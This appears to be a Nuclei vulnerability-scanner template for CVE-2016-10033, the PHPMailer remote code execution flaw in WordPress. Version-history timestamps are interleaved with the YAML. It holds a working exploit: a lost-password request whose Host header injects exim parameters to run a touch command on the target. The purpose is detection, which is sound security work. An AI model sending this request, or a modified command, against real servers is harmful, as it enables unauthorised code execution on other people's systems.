2021-03-24 11:33:21 +00:00
id : CVE-2016-10033
2022-04-15 16:39:44 +00:00
2021-03-24 11:33:21 +00:00
info :
2022-11-28 00:42:51 +00:00
name : WordPress PHPMailer < 5.2.18 - Remote Code Execution
2021-03-24 11:33:21 +00:00
author : princechaddha
2021-09-10 11:26:40 +00:00
severity : critical
2022-04-22 10:38:41 +00:00
description : WordPress PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a " (backslash double quote) in a crafted Sender property in isMail transport.
2023-09-06 13:22:34 +00:00
remediation : |
Upgrade PHPMailer to version 5.2.18 or higher to mitigate this vulnerability.
2022-04-15 16:39:44 +00:00
reference :
- https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
- https://nvd.nist.gov/vuln/detail/CVE-2016-10033
2022-05-17 09:18:12 +00:00
- https://www.exploit-db.com/exploits/40970/
- https://www.exploit-db.com/exploits/40968/
2023-07-11 19:49:27 +00:00
- http://seclists.org/fulldisclosure/2016/Dec/78
2021-09-10 11:26:40 +00:00
classification :
2022-05-17 09:18:12 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2016-10033
cwe-id : CWE-77
2023-07-11 19:49:27 +00:00
epss-score : 0.97464
2023-11-03 10:59:12 +00:00
epss-percentile : 0.99951
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:phpmailer_project:phpmailer:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : phpmailer_project
product : phpmailer
2023-07-12 11:56:50 +00:00
tags : seclists,cve,cve2016,rce,edb,wordpress
2021-03-24 11:33:21 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-03-24 11:33:21 +00:00
- raw :
- |+
GET /?author=1 HTTP/1.1
Host : {{Hostname}}
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
- |+
POST /wp-login.php?action=lostpassword HTTP/1.1
Host : target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Accept : */*
Content-Type : application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login={{username}}
unsafe : true
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : header
2021-03-24 11:33:21 +00:00
words :
- wp-login.php?checkemail=confirm
- type : status
status :
- 302
2023-07-11 19:49:27 +00:00
extractors :
- type : regex
name : username
group : 1
regex :
- 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
internal : true
part : body
2023-10-27 08:59:57 +00:00
# digest: 490a0046304402200823b36ed8c384107dd66bdaef45646741be6d5603e07f0899cb696d0f2dee480220441f8ece5c1a5af625091ed6e0d488a2456c25e0bd24ad93a7a51a9baa23cac9:922c64590222798bb761d5b6d8e72950